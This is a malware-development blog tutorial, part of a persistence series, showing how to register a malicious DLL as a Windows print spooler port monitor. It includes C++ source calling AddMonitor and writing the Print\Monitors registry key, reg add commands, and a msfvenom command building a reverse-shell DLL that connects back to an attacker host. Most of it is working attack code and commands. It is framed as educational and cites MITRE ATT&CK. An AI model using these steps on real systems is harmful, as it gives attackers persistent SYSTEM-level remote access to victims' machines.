Malware development: persistence - part 8. Port monitors. Simple C++ example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
This article is the result of my own research into the next interesting malware persistence trick: Port monitors.
port monitors
Port Monitor refers to the Windows Print Spooler Service or spoolv.exe
in this post. When adding a printer port monitor, a user (or an attacker) is able to add an arbitrary dll that serves as the “monitor”.
There are essentially two ways to add a port monitor, also known as your malicious DLL: through the Registry for persistence or a custom Windows application (AddMonitor
function) for immediate dll execution.
adding monitor
Using the Win32 API, specifically the AddMonitor
function of the Print Spooler API:
BOOL AddMonitor(
LPTSTR pName,
DWORD Level,
LPBYTE pMonitors
);
it is possible to add an arbitrary monitor DLL immediately while the system is running. Note that you will need local administrator privileges to add the monitor.
For example, source code of our monitor:
/*
monitor.cpp
windows persistence via port monitors
register the monitor port
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/19/malware-pers-8.html
*/
#include "windows.h"
#pragma comment(lib, "winspool")
int main(int argc, char* argv[]) {
MONITOR_INFO_2 mi;
mi.pName = "Monitor";
mi.pEnvironment = "Windows x64";
// mi.pDLLName = "evil.dll";
mi.pDLLName = "evil2.dll";
AddMonitor(NULL, 2, (LPBYTE)&mi);
return 0;
}
Compile it:
x86_64-w64-mingw32-g++ -O2 monitor.cpp -o monitor.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinspool
Also, create our “evil” DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f dll > evil2.dll
So, compiling the code will produce an executable (monitor.exe
in my case) that will register the malicious DLL (evil2.dll
) on the system.
demo for add “monitor”
Copy files and run:
copy Z:\2022-06-19-malware-pers-8\evil2.dll .\
copy Z:\2022-06-19-malware-pers-8\monitor.exe .\
.\monitor.exe
registry persistence
A list of sub-key port monitors can be found within the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
node. Each key should have a REG_SZ
entry containing a Drivers
DLL. At system startup, each of these DLLs will be executed as SYSTEM
.
First of all, before malicious actions, check sub keys:
reg query "HKLM\System\CurrentControlSet\Control\Print\Monitors" /s
Then, add sub key Meow
and Driver
value:
reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Meow" /v "Driver" /d "evil2.dll" /t REG_SZ
reg query "HKLM\System\CurrentControlSet\Control\Print\Monitors" /s
As you can see, everything is completed correctly. Then restart victim’s machine:
And after a few minutes:
Let’s go to check Network
tab in Process Hacker 2:
We can see that the evil2.dll
is being accessed by the spoolsv.exe (PID: 4616)
, which eventually spawns a rundll32
with our payload, that initiates a connection back to the attacker:
For cleanup, after end of experiments, run:
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Print\Monitors\Meow" -Name "Driver"
My “dirty PoC” for registry persistence:
/*
pers.cpp
windows persistence via port monitors
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/19/malware-pers-8.html
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// subkey
const char* sk = "\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Meow";
// evil DLL
const char* evilDll = "evil.dll";
// startup
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"Driver", 0, REG_SZ, (unsigned char*)evilDll, strlen(evilDll));
RegCloseKey(hkey);
} else {
printf("failed to create new registry subkey :(");
return -1;
}
return 0;
}
During Defcon 22, Brady Bloxham demonstrated this persistence technique. This method requires Administrator privileges and the DLL must be saved to disk.
The question remains whether any APTs uses this technique in the wild.
Windows Print Spooler Service
Defcon-22: Brady Bloxham - Getting Windows to Play with itself
MITRE ATT&CK - Port Monitors persistence technique
source code on Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine